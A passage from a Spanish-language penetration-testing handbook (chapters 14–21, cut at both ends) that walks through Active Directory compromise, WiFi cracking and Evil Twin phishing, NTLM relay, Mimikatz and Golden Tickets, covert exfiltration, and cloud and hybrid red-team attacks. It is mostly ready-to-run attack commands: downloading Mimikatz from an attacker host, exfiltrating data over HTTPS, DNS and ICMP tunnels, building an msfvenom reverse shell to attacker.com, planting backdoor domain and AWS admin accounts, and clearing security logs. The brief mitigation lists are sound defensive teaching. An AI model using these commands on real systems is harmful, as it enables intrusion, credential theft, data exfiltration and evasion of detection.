GetADUsers.py corp.local/juan.perez:Password123! -dc-ip 192.168.56.10 -all
```

### 2. Kerberoasting:

```
 GetUserSPNs.py corp.local/juan.perez:Password123! -dc-ip 192.168.56.10 -request
```

### 3. Crack de hash con Hashcat.

### 4. Ejecución remota:

```
psexec.py corp.local/svc_admin:ContraseñaCrackeada@192.168.56.10
```

### 5. DCSync:

```
secretsdump.py corp.local/Administrador:ContraseñaCrackeada@192.168.56.10
```

### 6. Persistencia:

```
ticketer.py -nthash <hash_krbtgt> -domain corp.local -user-id 500 Administrador
```

---

## 11. Buenas prácticas y OPSEC

- Usar `wmiexec.py` para ser menos ruidoso que `psexec.py`.
- Evitar relays innecesarios en redes monitoreadas.
- Limitar escaneos SMB para no saturar el DC.
- Documentar todos los hashes y accesos.

---

## 12. Checklist de Impacket listo

- Instalado y actualizado.
- Scripts de ejecución remota probados.

- Extracción de credenciales validada.
  - Ataques Kerberos ejecutados.
  - Relay NTLM funcional.
  - Documentación y evidencias cifradas.
- 

En el **Capítulo 15** vamos a cubrir **ataques a redes internas con herramientas mixtas** (CrackMapExec, Rubeus, SharpHound, PowerView, SMBMap), combinando Linux y Windows para explotar vulnerabilidades de AD, con ejemplos de automatización y cadenas de ataque reales.

---

## Capítulo 15 — Playbook de ataques en redes internas: de 0 a Domain Admin

---

**Objetivo:** Integrar herramientas como **CrackMapExec**, **Rubeus**, **SharpHound**, **PowerView**, **SMBMap**, **Impacket** y técnicas de post-explotación en un flujo de ataque continuo para un pentest interno.

---

### 1. Escenario de laboratorio

**Red interna simulada:**

- **DC01** → Windows Server 2019, IP **192.168.56.10**, dominio **corp.local**.
  - **PC01** → Windows 10 unido al dominio, IP **192.168.56.20**.
  - **PC02** → Windows 10 con usuario no privilegiado, IP **192.168.56.30**.
  - **Atacante** → Kali Linux, IP **192.168.56.100**.
- 

### 2. Metodología general

**Fases:**

1. **Reconocimiento** (descubrimiento de hosts y servicios).
  2. **Enumeración** (usuarios, shares, políticas).
  3. **Explotación inicial** (credenciales, vulnerabilidades).
  4. **Escalada de privilegios** (local → dominio).
  5. **Movimiento lateral**.
  6. **Explotación de AD**.
  7. **Persistencia y limpieza**.
- 

### 3. Reconocimiento

#### 3.1. Descubrir hosts vivos

```
nmap -sn 192.168.56.0/24
```

### 3.2. Escaneo de servicios clave

```
nmap -p 445,139,135,389,3389,5985,88 192.168.56.0/24 --open
```

---

## 4. Enumeración inicial

### 4.1. Con **SMBMap** (shares anónimos)

```
smbmap -H 192.168.56.10
```

### 4.2. Con **CrackMapExec** (usuarios válidos)

```
crackmapexec smb 192.168.56.0/24 -u usuario -p 'Password123!'
```

---

### 4.3. Enumerar políticas y dominio

```
enum4linux -a 192.168.56.10
```

---

## 5. Explotación inicial

### 5.1. Credenciales filtradas

Si encontramos credenciales en shares:

```
cat creds.txt
```

Probar con CME:

```
crackmapexec smb 192.168.56.0/24 -u juan.perez -p 'Password123!'
```

---

### 5.2. Abuso de WinRM

```
evil-winrm -i 192.168.56.20 -u juan.perez -p 'Password123!'
```

## 6. Enumeración profunda de AD

### 6.1. BloodHound con SharpHound

En máquina Windows comprometida:

```
.\SharpHound.exe -c All
```

Subir resultados a BloodHound y buscar rutas hacia Domain Admin.

---

### 6.2. PowerView — Listar usuarios y grupos

```
Import-Module .\PowerView.ps1
Get-NetUser
Get-NetGroup
```

## 7. Escalada de privilegios

### 7.1. Kerberoasting con Rubeus

```
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
```

Crack:

```
hashcat -m 13100 hashes.txt rockyou.txt
```

---

### 7.2. AS-REP Roasting

```
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
```

---

## 8. Movimiento lateral

### 8.1. Con CME — Pass-the-Hash

```
crackmapexec smb 192.168.56.30 -u administrador -H
6d6f2c05c73e92ba0b8f33f6b9f7d35a -x "whoami"
```

## 8.2. Con Impacket — wmiexec

```
wmiexec.py corp.local/administrador@192.168.56.30 -hashes  
:6d6f2c05c73e92ba0b8f33f6b9f7d35a
```

---

## 9. Dominio comprometido

### 9.1. DCSync con secretsdump.py

```
secretsdump.py corp.local/Administrador:Password123!@192.168.56.10
```

### 9.2. Golden Ticket con ticketer.py

```
ticketer.py -nthash <hash_krbtgt> -domain corp.local -user-id 500 Administrador
```

---

## 10. Persistencia

- **Cuenta oculta** en grupo Domain Admins:

```
net user backdoor Passw0rd! /add /domain  
net group "Domain Admins" backdoor /add /domain
```

- **Golden Ticket** reutilizable.
- **Reglas GPO maliciosas.**

---

## 11. Limpieza

- Borrar usuarios creados.
- Eliminar tickets persistentes.
- Limpiar logs relevantes:

```
wevtutil cl Security
```

---

## 12. Ejemplo de ataque encadenado

1. Escanear red con Nmap.
  2. Encontrar shares abiertos con SMBMap.
  3. Hallar credenciales en documentos.
  4. Conectarse con Evil-WinRM.
  5. Ejecutar SharpHound → analizar en BloodHound.
  6. Kerberoasting con Rubeus → crack con Hashcat.
  7. Movimiento lateral con CME Pass-the-Hash.
  8. DCSync → obtener hashes.
  9. Generar Golden Ticket.
  10. Persistencia con cuenta oculta.
- 

## 13. OPSEC y mitigaciones

- **OPSEC pentester:** minimizar ruido, priorizar WMI sobre SMB, limitar escaneos.
  - **Mitigaciones defensor:**
    - Restringir privilegios de cuentas de servicio.
    - Monitorear solicitudes Kerberos.
    - Habilitar LAPS (Local Administrator Password Solution).
    - Revisar GPOs y ACLs periódicamente.
- 

## 14. Checklist de ataque interno listo

- Reconocimiento ejecutado.
  - Enumeración AD completada.
  - Credenciales iniciales obtenidas.
  - Escalada y movimiento lateral realizados.
  - Dominio comprometido.
  - Persistencia configurada.
  - Limpieza efectuada.
- 

En el **Capítulo 16** vamos a dedicarnos a **ataques inalámbricos avanzados con Aircrack-ng, Wifite, Fluxion y Kismet**, desde auditorías WEP/WPA2 hasta Evil Twin y ataques a redes corporativas WPA2-Enterprise con capturas EAP y su crack.

---

# Capítulo 16 — Hacking WiFi extremo: de la auditoría básica al ataque corporativo

---

**Objetivo:** Enseñar cómo un hacker ético realiza auditorías inalámbricas usando **Aircrack-ng, Wifite, Fluxion y Kismet** para detectar, capturar y analizar credenciales, evaluando la seguridad de redes domésticas y empresariales.

---

## 1. Entorno de laboratorio

### Hardware recomendado:

- **Adaptador WiFi USB** compatible con modo monitor (ej: Alfa AWUS036NHA).
- **Kali Linux** actualizado (`apt update && apt upgrade`).
- **Segundo dispositivo** como punto de acceso víctima (router real o AP virtual con hostapd).

### IPs y SSIDs para laboratorio:

- **Red doméstica WEP** → SSID: LAB\_WEP
- **Red doméstica WPA2-Personal** → SSID: LAB\_WPA2
- **Red corporativa WPA2-Enterprise** → SSID: LAB\_CORP

---

## 2. Preparación de la tarjeta WiFi

### 2.1. Detectar interfaz

```
iwconfig
```

Salida típica:

```
wlan0      IEEE 802.11  Mode:Managed  Frequency:2.437 GHz
```

### 2.2. Activar modo monitor

```
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
```

### 2.3. Verificar modo monitor

```
iwconfig wlan0
```

Debe mostrar **Mode:Monitor**.

---

## 3. Escaneo de redes con **airodump-ng**

```
sudo airodump-ng wlan0
```

Salida:

```
BSSID          PWR  Beacons #Data, #/s  CH   MB   ENC  CIPHER AUTH ESSID
AA:BB:CC:DD:EE:FF -40       12     0      0    6   54e  WPA2  CCMP   PSK   LAB_WPA2
```

## 4. Auditoría de redes WEP

### 4.1. Capturar IVs

```
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:11 -w captura_wep wlan0
```

### 4.2. Inyectar tráfico para acelerar captura

```
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:11 wlan0
```

### 4.3. Crackear WEP

```
sudo aircrack-ng captura_wep-01.cap
```

## 5. Auditoría WPA/WPA2-Personal

### 5.1. Captura del handshake

```
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura_wpa wlan0
```

En otra terminal, desautenticar cliente:

```
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0
```

### 5.2. Crack con diccionario

```
sudo aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF captura_wpa-01.cap
```

## 6. Auditoría WPA2/WPA3-Enterprise (EAP)

## 6.1. Captura EAPOL con airodump-ng

```
sudo airodump-ng --bssid AA:BB:CC:DD:EE:77 -w captura_eap wlan0
```

## 6.2. Ataque Evil Twin con hostapd-wpe

Instalar:

```
sudo apt install hostapd-wpe freeradius-wpe
```

Configurar [hostapd-wpe.conf](#) para clonar el SSID corporativo.

---

## 7. Automatización con **Wifite**

### 7.1. Escanear y atacar

```
sudo wifite
```

Seleccionar objetivo y dejar que Wifite intente handshake + crack.

---

## 8. Phishing WiFi con **Fluxion**

### 8.1. Lanzar Fluxion

```
sudo fluxion
```

Flujo típico:

1. Escanear redes.
  2. Seleccionar víctima.
  3. Ataque Evil Twin.
  4. Portal cautivo falso.
  5. Robo de credenciales en texto claro.
- 

## 9. Monitoreo pasivo con **Kismet**

### 9.1. Instalar y ejecutar

```
sudo apt install kismet  
sudo kismet
```

Detecta:

- Redes ocultas.
  - Dispositivos conectados.
  - Tráfico sospechoso.
- 

## 10. Ejemplo de ataque encadenado

1. Escanear redes con [airodump-ng](#).
  2. Capturar handshake WPA2.
  3. Crackear con diccionario.
  4. Conectarse y usar la red para pivotar hacia dispositivos internos.
  5. En redes corporativas, levantar Evil Twin con Fluxion.
  6. Robar credenciales de dominio vía portal falso.
  7. Usar credenciales para autenticación VPN o AD.
- 

## 11. Defensas y mitigación

- Usar **WPA3**.
  - Deshabilitar WPS.
  - Contraseñas largas y aleatorias.
  - 802.1X con certificados en lugar de usuario/contraseña.
  - Monitorear con IDS/IPS inalámbricos.
- 

## 12. Checklist de hacking WiFi

- Interfaz en modo monitor.
  - Handshake WPA/WPA2 capturado.
  - Crack exitoso o validación de fortaleza.
  - Ataques Evil Twin probados.
  - Informe de mitigaciones.
- 

En el **Capítulo 17** vamos a entrar en **Ataques Man-in-the-Middle (MITM) avanzados** en redes cableadas e inalámbricas, con **Ettercap**, **Bettercap**, **Responder**, y técnicas como **NTLM Relay** para robar credenciales y manipular tráfico en vivo.

---

# Capítulo 17 — Man-in-the-Middle extremo: de la intercepción pasiva al dominio comprometido

---

**Objetivo:** Enseñar a un pentester a realizar ataques MITM en redes cableadas e inalámbricas, usando herramientas modernas para capturar credenciales, manipular tráfico y explotar protocolos inseguros como SMB, LLMNR, NBT-NS y mDNS.

## 1. Escenario de laboratorio

### Topología simulada:

- **Servidor de dominio (DC01)** → 192.168.56.10 / corp.local
- **Cliente Windows (PC01)** → 192.168.56.20 / usuario normal del dominio
- **Atacante Kali Linux** → 192.168.56.100

### Objetivo final:

1. Posicionarse en MITM.
2. Capturar hashes NTLMv2.
3. Relanzar esos hashes para autenticarse (NTLM Relay).
4. Escalar a **Domain Admin**.

## 2. Conceptos clave

- **MITM pasivo:** Observa el tráfico sin modificarlo (sniffing).
- **MITM activo:** Manipula, redirige o inyecta tráfico (ARP spoofing, DNS spoofing, HTTP injection).
- **LLMNR/NBT-NS/mDNS poisoning:** Engañar a la red para que el tráfico llegue al atacante.
- **NTLM Relay:** Reenviar un hash capturado a otro servicio y autenticarse sin conocer la contraseña.

## 3. Reconocimiento previo

Antes de atacar, identificar objetivos activos:

```
nmap -p 80,445,389,135,139,3389 192.168.56.0/24 --open
```

Esto revela servicios que aceptarán relays NTLM.

## 4. Ataque con **Responder**

Responder es una de las herramientas más efectivas para capturar hashes NTLMv2 en redes Windows.

### 4.1. Configurar Responder

Editar `/etc/responder/Responder.conf` y habilitar:

```
SMB = On  
HTTP = On
```

## 4.2. Ejecutar Responder

```
sudo responder -I eth0 -rdwv
```

- **-r** → LLMNR responder
- **-d** → DHCP responder
- **-w** → WPAD proxy auth capture
- **-v** → Verbose

Cuando una máquina víctima intente resolver un recurso inexistente, Responder capturará el hash:

```
[SMB] NTLMv2-SSP Client    : 192.168.56.20
[SMB] NTLMv2-SSP Username   : CORP\juan.perez
[SMB] NTLMv2-SSP Hash       : juan.perez::CORP:112233...
```

## 5. Crackear hash capturado

Usar **Hashcat**:

```
hashcat -m 5600 hash.txt rockyou.txt
```

## 6. NTLM Relay con **ntlmrelayx.py**

Responder captura, pero ntlmrelayx puede **usar** el hash en tiempo real para autenticarse contra otro servicio.

### 6.1. Levantar ntlmrelayx apuntando a un host SMB

```
impacket-ntlmrelayx -tf targets.txt -smb2support
```

Donde **targets.txt** contiene:

```
smb://192.168.56.10
```

### 6.2. Combinar con Responder (sin SMB)

Para que el hash no se guarde sino que se relance:

```
sudo responder -I eth0 -rdw
```

(SMB = Off en config, para que ntlmrelayx lo maneje).

## 7. Ataques ARP Spoofing con **Bettercap**

Bettercap permite posicionarse como MITM entre víctima y puerta de enlace.

### 7.1. Iniciar Bettercap

```
sudo bettercap -iface eth0
```

### 7.2. Escanear red

```
net.probe on
```

### 7.3. Envenenar ARP

```
set arp.spoof.targets 192.168.56.20  
arp.spoof on
```

Ahora todo el tráfico pasa por el atacante.

## 8. HTTP y credenciales en claro

Si el usuario visita un sitio HTTP, podemos interceptar credenciales:

```
http.proxy on
```

Y registrar:

```
set http.proxy.script creds.js
```

## 9. DNS spoofing

En Bettercap:

```
set dns.spoof.domains facebook.com,login.corp.local  
set dns.spoof.address 192.168.56.100  
dns.spoof on
```

Cuando el usuario visite [facebook.com](#), será redirigido a un servidor controlado por nosotros.

---

## 10. Ataque MITM a RDP

En un escenario avanzado, se puede interceptar credenciales RDP si no está habilitado NLA, usando rdesktop modificado o herramientas específicas.

---

## 11. Ettercap: alternativa clásica

### 11.1. Interfaz gráfica

```
sudo ettercap -G
```

Seleccionar:

1. Hosts scan.
  2. Add target 1 y 2.
  3. ARP poisoning + Sniff remote connections.
- 

## 12. Escenario encadenado realista

1. Ejecutar **Responder** → Capturar hash NTLMv2.
2. En paralelo, correr **ntlmrelayx** → Relanzar hash a DC.
3. Conseguir ejecución remota en servidor:

```
impacket-wmiexec corp.local/juan.perez@192.168.56.10 -hashes :NTLMHASH
```

4. Escalar a **Domain Admin** usando herramientas de post-explotación vistas en capítulos anteriores.
- 

## 13. Defensa y mitigación

- Deshabilitar **LLMNR** y **NBT-NS**.
  - Habilitar **SMB signing**.
  - Usar **Kerberos** en vez de NTLM.
  - Aplicar segmentación de red.
  - Activar 802.1X en switches.
-

## 14. Checklist MITM

- Objetivos y servicios identificados.
  - Responder configurado y ejecutado.
  - Hash capturado.
  - NTLM Relay exitoso.
  - Persistencia o escalada realizada.
  - Informe con mitigaciones.
- 

En el **Capítulo 18** vamos a entrar en **Post-Explotación extrema con Mimikatz, Rubeus y SharpHound**, donde un atacante pasa de tener un acceso inicial a controlar totalmente un dominio, extrayendo credenciales en texto claro, generando tickets Kerberos falsos y tomando el control de toda la infraestructura.

---

# Capítulo 18 — Post-Explotación extrema: del primer acceso al control total del dominio

---

**Objetivo:** Mostrar cómo un pentester, después de obtener acceso inicial a una máquina dentro de un dominio, puede extraer credenciales, manipular tickets Kerberos, mapear toda la infraestructura de Active Directory y obtener privilegios de **Domain Admin** usando herramientas avanzadas.

---

## 1. Escenario

### Infraestructura simulada:

- **Controlador de Dominio (DC01)** → 192.168.56.10 / corp.local
- **Servidor de archivos (FS01)** → 192.168.56.15
- **Cliente víctima (PC01)** → 192.168.56.20 (comprometido previamente)
- **Atacante** → Kali Linux + acceso remoto a PC01

### Objetivo final:

- Extraer credenciales en texto claro y hashes.
  - Obtener tickets Kerberos de alto privilegio.
  - Mapeo total de usuarios, grupos y relaciones de confianza.
  - Crear un *Golden Ticket* para persistencia indefinida.
- 

## 2. Ingreso inicial

Asumimos que ya tenemos:

- **Shell remota en PC01** (mediante Metasploit, ntlmrelayx, etc.)
  - Privilegios de **Administrator** local.
- 

## 3. Mimikatz: extracción de credenciales

### 3.1. Transferir Mimikatz

En la shell de Windows:

```
powershell -c "Invoke-WebRequest -Uri http://192.168.56.100/mimikatz.exe -OutFile C:\Windows\Temp\mimikatz.exe"
```

### 3.2. Ejecutar como Administrador

```
C:\Windows\Temp\mimikatz.exe
```

### 3.3. Comandos clave

```
privilege::debug  
sekurlsa::logonpasswords
```

Salida típica:

```
Username : juan.perez  
Domain   : CORP  
Password : ContraseñaEnClaro123
```

### 3.4. Extraer hashes NTLM

```
lsadump::sam
```

---

## 4. Rubeus: manipulación de tickets Kerberos

Rubeus es la navaja suiza para Kerberos.

### 4.1. Listar tickets activos

```
Rubeus.exe triage
```

### 4.2. Extraer tickets actuales

```
Rubeus.exe dump
```

#### 4.3. Solicitar TGT para otro usuario (AS-REP Roast)

```
Rubeus.exe asreproast /user:usuario_sin_preatuth /outfile:hashes.txt
```

#### 4.4. Solicitar TGS para Kerberoasting

```
Rubeus.exe kerberoast /outfile:kerbhashes.txt
```

---

### 5. SharpHound + BloodHound: mapeo total del dominio

#### 5.1. Ejecución de SharpHound

Subir **SharpHound.exe** y ejecutar:

```
SharpHound.exe -c All --zipfilename datos.zip
```

Esto recolecta:

- Relaciones de confianza.
- Delegaciones.
- Usuarios con privilegios especiales.

#### 5.2. Análisis en BloodHound

En Kali:

```
neo4j console &  
bloodhound
```

Importar **datos.zip** y buscar caminos hacia Domain Admin.

---

### 6. Creación de un Golden Ticket

Un *Golden Ticket* permite autenticarse en el dominio sin usuario real.

#### 6.1. Obtener KRBTGT hash

En Mimikatz:

```
lsadump::lsa /patch
```

Extraer hash NTLM de **KRBTGT**.

## 6.2. Crear ticket

```
kerberos::golden /user:hacker /domain:corp.local /sid:S-1-5-21-XXXX  
/krbtgt:HASHKRBTGT /id:500
```

## 6.3. Inyectar ticket

```
kerberos::ptt ticket.kirbi
```

---

## 7. Persistence con Silver Tickets

Un *Silver Ticket* es específico para un servicio (ej: CIFS, HTTP) y no requiere DC.

```
kerberos::golden /user:hacker /domain:corp.local /sid:S-1-5-21-XXXX  
/target:FS01.corp.local /rc4:HASHDELSERVICIO /service:cifs
```

---

## 8. Escenario encadenado de dominio total

1. Comprometer un host dentro del dominio.
2. Usar **Mimikatz** para extraer credenciales y hashes.
3. Usar **Rubeus** para Kerberoasting y AS-REP roasting.
4. Mapear AD con **SharpHound**.
5. Encontrar ruta hacia Domain Admin en BloodHound.
6. Robar hash de **KRBTGT** y generar Golden Ticket.
7. Mantener persistencia con Silver Tickets.

---

## 9. Mitigación y defensa

- Habilitar **LSA Protection** para proteger credenciales.
- Rotar la contraseña de **KRBTGT** periódicamente.
- Monitorear emisión de tickets Kerberos.
- Implementar **Privileged Access Workstations (PAWs)**.
- Limitar privilegios de administradores locales.

---

## 10. Checklist de post-explotación

- Acceso a máquina del dominio.
  - Mimikatz ejecutado y credenciales extraídas.
  - Rubeus usado para obtener hashes Kerberos.
  - SharpHound ejecutado y analizado en BloodHound.
  - Golden Ticket creado e inyectado.
  - Persistencia asegurada.
- 

En el **Capítulo 19** vamos a meternos en **Pivoting y Lateral Movement avanzado**, usando herramientas como **Chisel**, **Plink**, **SSHuttle** y técnicas de proxying para moverse entre segmentos de red aislados, explotando rutas ocultas y saltando de un host comprometido a otro hasta alcanzar objetivos críticos.

---

## Capítulo 19 — Exfiltración y Evasión total: cómo sacar datos de un entorno vigilado sin ser detectado

---

**Objetivo:** Mostrar técnicas, herramientas y flujos que un pentester puede usar para simular la extracción de datos sensibles desde redes monitorizadas, mientras evita alertar a sistemas de seguridad.

---

### 1. Escenario de laboratorio

#### Infraestructura simulada:

- **Servidor de archivos** con documentos clasificados (**FS01 – 192.168.56.15**).
- **Firewall corporativo** con inspección HTTP y HTTPS.
- **Sistema DLP** que monitorea transferencias de archivos y correo.
- **EDR** (Endpoint Detection & Response) instalado en estaciones.

#### Objetivo final:

1. Extraer datos sin disparar alertas.
  2. Mantener persistencia y acceso para futuras extracciones.
  3. Evadir firmas y patrones detectables.
- 

### 2. Principios clave de exfiltración sigilosa

- **Fragmentar** los datos para no generar un archivo grande visible.
  - **Usar canales no estándar** (DNS, ICMP, HTTP encubierto).
  - **Cifrar y ofuscar** antes de transferir.
  - **Simular tráfico legítimo** para no levantar sospechas.
  - **Automatizar** el envío en ventanas de bajo monitoreo.
- 

### 3. Preparar los datos para exfiltrar

### 3.1. Compresión y cifrado

```
tar -czf datos.tar.gz /ruta/a/documentos  
openssl enc -aes-256-cbc -salt -in datos.tar.gz -out datos.enc -k claveSegura123
```

---

## 4. Exfiltración por HTTP/S (camouflada)

### 4.1. Servidor atacante con HTTPS

En Kali:

```
python3 -m http.server 443 --bind 0.0.0.0
```

(Usar un certificado válido o autocertificado para simular tráfico normal).

### 4.2. Envío desde la víctima

```
Invoke-WebRequest -Uri https://10.10.10.1/upload -Method POST -InFile datos.enc
```

**Táctica:** Usar URLs que simulen endpoints legítimos:

```
https://cdn.office365.com/update  
https://drive.google.com/api/upload
```

---

## 5. Exfiltración por DNS (bypass de firewalls)

**Idea:** Codificar datos en subdominios de peticiones DNS.

### 5.1. Herramienta: iodine

En atacante:

```
iodined -f -P clave 10.0.0.1 tun.ejemplo.com
```

En víctima:

```
iodine -f -P clave tun.ejemplo.com
```

Ahora, cualquier tráfico por esa interfaz se encapsula en DNS.

---

## 6. Exfiltración por ICMP (ping tunnel)

**Idea:** Encapsular datos en paquetes ICMP para evadir inspecciones.

### 6.1. Herramienta: `ptunnel`

En atacante:

```
ptunnel -x clave -p 192.168.1.1
```

En víctima:

```
ptunnel -x clave -p 192.168.1.1 -lp 2222 -da 10.10.10.2 -dp 22
```

---

## 7. Exfiltración encubierta en tráfico legítimo

### 7.1. Usar Slack API

```
curl -F file=@datos.enc -F channels=#proyecto -H "Authorization: Bearer TOKEN"  
https://slack.com/api/files.upload
```

### 7.2. Usar Google Drive API

```
gdrive upload datos.enc
```

---

## 8. Técnicas anti-detección (EDR/DLP evasion)

- **Ofuscación de PowerShell**

```
powershell -enc <base64>
```

- **Cambiar extensiones** Renombrar `.enc` a `.jpg` o `.docx`.
  - **Fragmentar y retrasar** Enviar en fragmentos pequeños cada ciertos minutos.
  - **Empaquetado polimórfico** Cambiar la firma binaria con `upx` o `msfvenom`.
-

## 9. Flujo encadenado realista

1. Comprimir y cifrar datos en máquina comprometida.
  2. Fragmentar archivo resultante.
  3. Exfiltrar fragmentos vía DNS tunneling.
  4. Reconstruir en el servidor atacante.
  5. Borrar artefactos de la máquina víctima.
- 

## 10. Defensa y mitigación

- Bloquear protocolos no autorizados (DNS externo, ICMP).
  - Inspección profunda de paquetes (DPI).
  - Activar alertas para patrones de tráfico inusuales.
  - Monitorear APIs de nube y servicios externos.
- 

## 11. Checklist de exfiltración

- Datos seleccionados y cifrados.
  - Canal de salida elegido y probado.
  - Transferencia verificada en destino.
  - Artefactos eliminados en origen.
  - Reporte documentado para el cliente.
- 

En el **Capítulo 20** vamos a cubrir **Ataques contra entornos en la nube (AWS, Azure, GCP)**, desde enumeración y explotación de credenciales filtradas hasta escaladas de privilegios y persistencia en servicios cloud.

---

# Capítulo 20 — Hacking en la nube: AWS, Azure y GCP desde el reconocimiento hasta la dominación total

---

**Objetivo:** Enseñar cómo un pentester ético puede evaluar la seguridad de entornos cloud (Amazon Web Services, Microsoft Azure y Google Cloud Platform) desde la fase de reconocimiento hasta la explotación, escalada de privilegios y persistencia, con ejemplos reales y comandos listos para copiar.

---

## 1. Por qué atacar la nube es diferente

A diferencia de la infraestructura on-premise:

- Las **superficies de ataque** están expuestas globalmente (paneles de administración, APIs, buckets).
- Las **configuraciones por defecto** suelen ser peligrosas.
- El **modelo de responsabilidad compartida** significa que el cliente sigue siendo responsable de la configuración segura.

- Muchas credenciales se filtran en **repositorios públicos** (GitHub, GitLab).
- 

## 2. Reconocimiento en AWS

### 2.1. Detección de endpoints expuestos

```
subfinder -d empresa.com -o subdominios.txt  
httpx -l subdominios.txt -title -status-code -tech-detect
```

### 2.2. Búsqueda de credenciales filtradas en GitHub

```
git-secrets --scan
```

O con **trufflehog**:

```
trufflehog github --org=empresa --token=TOKEN
```

### 2.3. Enumeración con **awscli**

```
aws s3 ls  
aws ec2 describe-instances
```

(*requiere credenciales*)

---

## 3. Enumeración y explotación de AWS S3

### 3.1. Detección de buckets públicos

```
s3scanner -i subdominios.txt
```

### 3.2. Descargar contenido

```
aws s3 cp s3://nombre-bucket ./ --recursive
```

### 3.3. Subida de archivos maliciosos (si hay permisos de escritura)

```
aws s3 cp shell.php s3://nombre-bucket
```

## 4. Ataques comunes en AWS

- **IAM Privilege Escalation** → Uso de permisos excesivos para crearse un nuevo usuario admin.
- **Explotación de Lambda Functions** → Modificar código de funciones para insertar payloads.
- **AssumeRole abuse** → Tomar roles con más privilegios.

Ejemplo: Escalar privilegios con `iam:CreatePolicyVersion`

```
aws iam create-policy-version --policy-arn arn:aws:iam::123456789:policy/Politica  
--policy-document file://admin.json --set-as-default
```

## 5. Hacking en Azure

### 5.1. Enumeración con `Az PowerShell`

```
Connect-AzAccount  
Get-AzResource
```

### 5.2. Robo de credenciales desde Azure CLI

Si encontramos `~/.azure/accessTokens.json`, podemos reutilizar tokens para acceder a recursos.

### 5.3. Enumeración de blobs públicos

```
az storage blob list --account-name NOMBRECUENTA --container-name CONTENEDOR
```

## 6. Ataques comunes en Azure

- **Malconfiguración de Azure AD** → acceso a recursos internos.
- **Shared Access Signatures (SAS)** mal protegidas → acceso no autorizado a blobs.
- **Escalada mediante App Registrations** → registrar apps maliciosas y obtener permisos OAuth.

Ejemplo de descarga de blob con SAS:

```
az storage blob download --account-name cuenta --container-name cont --name  
archivo --file salida.txt --sas-token "TOKEN"
```

## 7. Hacking en Google Cloud Platform (GCP)

### 7.1. Enumeración de buckets

```
gcloud storage buckets list
```

### 7.2. Descarga de objetos públicos

```
gsutil cp gs://nombre-bucket/archivo.txt .
```

---

## 8. Ataques comunes en GCP

- **API keys expuestas** → acceso a APIs internas.
- **Service Accounts mal configuradas** → escalada de privilegios.
- **Cloud Functions** → inyección de código malicioso.

Ejemplo de uso de credenciales de Service Account:

```
gcloud auth activate-service-account --key-file=credenciales.json
```

---

## 9. Persistencia en entornos cloud

- **AWS:** Crear usuarios ocultos en IAM o Access Keys adicionales.
- **Azure:** Generar certificados persistentes para apps registradas.
- **GCP:** Crear nuevas Service Accounts con permisos elevados.

Ejemplo en AWS:

```
aws iam create-user --user-name backup-admin
aws iam attach-user-policy --user-name backup-admin --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
```

---

## 10. Mitigación y defensa

- **Principio de privilegio mínimo** en IAM.
- **Rotación periódica** de credenciales y claves.
- **Alertas en CloudTrail**, Azure Monitor y Cloud Audit Logs.
- **Bloqueo de acceso público** a buckets y blobs.

## 11. Checklist de pentest en la nube

- Enumeración de recursos públicos.
  - Búsqueda de credenciales expuestas.
  - Comprobación de permisos excesivos.
  - Pruebas de acceso a almacenamiento.
  - Validación de funciones y APIs expuestas.
  - Reporte con hallazgos y mitigaciones.
- 

En el **Capítulo 21** vamos a entrar a **Red Teaming extremo en entornos híbridos**, combinando ataques on-premise y cloud para comprometer infraestructuras mixtas de gran escala.

---

# Capítulo 21 — Red Teaming extremo en entornos híbridos: de un clic a la dominación total

---

**Objetivo:** Simular un ataque Red Team realista contra una organización que combina infraestructura **on-premise** y **cloud** (AWS + Azure), partiendo de un solo vector inicial y avanzando hasta el control completo, manteniendo persistencia y sin ser detectado.

---

## 1. Escenario

**Empresa objetivo:** "Infratech Corp"

- **On-Premise:** Active Directory, servidores Windows y Linux, aplicaciones internas.
- **Cloud:** AWS (S3, EC2, Lambda), Azure (AD Sync, Blob Storage).
- **Seguridad:** Firewall perimetral, EDR en endpoints, MFA parcial en cuentas críticas.

**Objetivo Red Team:**

1. Obtener acceso inicial.
  2. Escalar privilegios en AD.
  3. Pivotar hacia recursos cloud.
  4. Exfiltrar datos críticos.
  5. Mantener acceso para futuras operaciones.
- 

## 2. Fase 1 — Acceso inicial por phishing

### 2.1. Creación de payload malicioso

Usando **msfvenom**:

```
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f exe  
-o invoice_update.exe
```

## 2.2. Ofuscación del payload

```
python3 DarkObfuscator.py invoice_update.exe output.exe
```

## 2.3. Envío mediante spear phishing

Correo simulado desde dominio typosquatting:

```
facturacion-infratech.com
```

Con plantilla HTML que imita SharePoint.

---

## 3. Fase 2 — Persistencia inicial

Una vez abierta la sesión **meterpreter**:

```
run persistence -X -i 60 -p 443 -r attacker.com
```

**Objetivo:** Tener reconexiones cada minuto.

---

## 4. Fase 3 — Reconocimiento interno en AD

```
whoami /priv  
net view /domain  
nltest /dclist:infratech.local
```

Enumerar con **BloodHound**:

```
SharpHound.exe -c All
```

Analizar grafo y detectar cuentas con **DCSync**.

---

## 5. Fase 4 — Escalada de privilegios

Uso de **Mimikatz** para volcado de hashes:

```
mimikatz # privilege::debug  
mimikatz # lsadump::dcsync /user:infratech\Administrador
```

Reutilizar hash con Pass-the-Hash:

```
psexec.py infratech/Administrador@192.168.1.10 -hashes  
:aad3b435b51404eead3b435b51404ee
```

---

## 6. Fase 5 — Pivoting hacia la nube

Encontramos credenciales en un repositorio interno:

```
grep -r "AWS_SECRET_ACCESS_KEY" /srv/git/
```

Configurar `awscli`:

```
aws configure
```

---

## 7. Fase 6 — Abuso en AWS

Enumerar S3:

```
aws s3 ls
```

Descargar datos críticos:

```
aws s3 cp s3://confidencial ./ --recursive
```

Crear usuario persistente:

```
aws iam create-user --user-name sys-backup  
aws iam attach-user-policy --user-name sys-backup --policy-arn  
arn:aws:iam::aws:policy/AdministratorAccess
```

---

## 8. Fase 7 — Abuso en Azure

Tokens guardados en `accessToken.json`:

```
cat ~/.azure/accessTokens.json
```

Usar token para acceder a blobs:

```
